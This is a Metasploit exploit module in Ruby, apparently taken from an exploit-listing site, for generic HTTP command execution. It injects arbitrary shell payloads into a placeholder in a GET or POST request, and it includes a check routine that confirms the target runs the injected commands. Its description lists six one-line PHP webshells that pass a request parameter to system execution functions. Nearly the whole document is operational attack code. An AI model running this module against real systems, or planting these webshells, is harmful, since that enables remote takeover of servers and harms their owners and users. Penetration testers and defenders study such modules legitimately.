Share
## https://sploitus.com/exploit?id=PACKETSTORM:217997
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ManualRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Generic HTTP Command Execution',
            'Description' => %q{
              This module interacts with existing command execution functionality on a target system,
              where user-supplied input is directly passed to system execution functions via a HTTP request.
              This could be from an existing vulnerability, or uploaded webshells such as:
              <?php passthru($_REQUEST['cmd']); ?>
              <?php system($_REQUEST['cmd']); ?>
              <?php echo exec($_REQUEST['cmd']); ?>
              <?php echo shell_exec($_REQUEST['cmd']); ?>
              <?php echo fread(popen($_REQUEST['cmd'], 'r'), 2096); ?>
              <?php echo `{$_REQUEST['cmd']}`; ?>
    
              It is likely that HTTP evasion options will break this exploit.
            },
            'Privileged' => false,
            'Payload' => {
              'DisableNops' => true,
              'BadChars' => '&;' # `&` = GET   `;` = POST
            },
            'Arch' => ARCH_CMD,
            'Targets' => [
              [
                'Linux', {
                  'Platform' => 'linux'
                }
              ],
              [
                'Unix', {
                  'Platform' => 'unix'
                }
              ],
              [
                'Windows', {
                  'Platform' => 'win'
                }
              ],
              [
                'macOS/OSX', {
                  'Platform' => 'osx'
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Author' => [
              'egypt',   # Original Metasploit module: exploits/unix/webapp/php_eval
              'g0tmi1k'  # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
            ],
            'License' => MSF_LICENSE,
            'DisclosureDate' => '2026-02-26',
            'References' => [],
            'Notes' => {
              'Reliability' => UNKNOWN_RELIABILITY,
              'Stability' => UNKNOWN_STABILITY,
              'SideEffects' => UNKNOWN_SIDE_EFFECTS
            }
          )
        )
    
        register_options(
          [
            OptString.new('POSTDATA', [false, 'POST data to send, with the command injection placeholder set to !INJECT!. Otherwise, a GET request will be used.']),
            OptString.new('URIPATH', [true, 'The URI to request, with the command injection placeholder set to !INJECT!.', '/ping/?cmd=!INJECT!']),
            OptString.new('HEADERS', [false, 'Any additional HTTP headers to send, cookies for example. Format: "header:value,header2:value2"'])
          ]
        )
      end
    
      def datastore_headers
        headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : ''
        headers_hash = {}
        if headers && !headers.empty?
          headers.split(',').each do |header|
            next if header.nil? || header.empty?
    
            key, value = header.split(':', 2)
            next if key.nil? || value.nil?
    
            key = key.strip
            value = value.strip
            next if key.empty? || value.empty?
    
            headers_hash[key] = value
          end
        end
        headers_hash
      end
    
      def send_request(method, uri, data, timeout = 30)
        feedback_text = "Sending #{method} request: http#{ssl ? 's' : ''}://#{rhost}:#{rport}#{uri}"
        feedback_text << " -> #{data}" unless method.casecmp?('get')
        print_status(feedback_text)
    
        req = {
          'global' => true,
          'uri' => uri,
          'method' => method,
          'headers' => datastore_headers.merge(
            'Connection' => 'close'
          )
        }
        unless method.casecmp?('get')
          req['headers']['Content-Type'] = 'application/x-www-form-urlencoded'
          req['data'] = data
        end
    
        send_request_raw(req, timeout)
      end
    
      def check
        method = datastore['POSTDATA'] ? 'POST' : 'GET'
        content = rand_text_alphanumeric(rand(16..31))
        payload = Rex::Text.uri_encode("echo #{content}")
        uri = datastore['URIPATH'].sub('!INJECT!', payload)
        data = method.casecmp?('get') ? nil : datastore['POSTDATA'].sub('!INJECT!', payload)
    
        response = send_request(method, uri, data)
    
        return Exploit::CheckCode::Unknown unless response
        return Exploit::CheckCode::Appears if response.code == 200 && response.body.match(content)
        return Exploit::CheckCode::Detected if response.code == 200
    
        vprint_error("Server responded with: HTTP #{response.code}")
        return Exploit::CheckCode::Safe
      end
    
      def exploit
        method = datastore['POSTDATA'] ? 'POST' : 'GET'
        uri = datastore['URIPATH'].sub('!INJECT!', Rex::Text.uri_encode(payload.encoded))
        data = method.casecmp?('get') ? nil : datastore['POSTDATA'].sub('!INJECT!', payload.encoded)
    
        # Very short timeout because the request may never return if we're sending a socket payload
        timeout = 0.01
    
        response = send_request(method, uri, data, timeout)
        vprint_warning("Server responded with: HTTP #{response.code}") if response && response.code != 200
      end
    end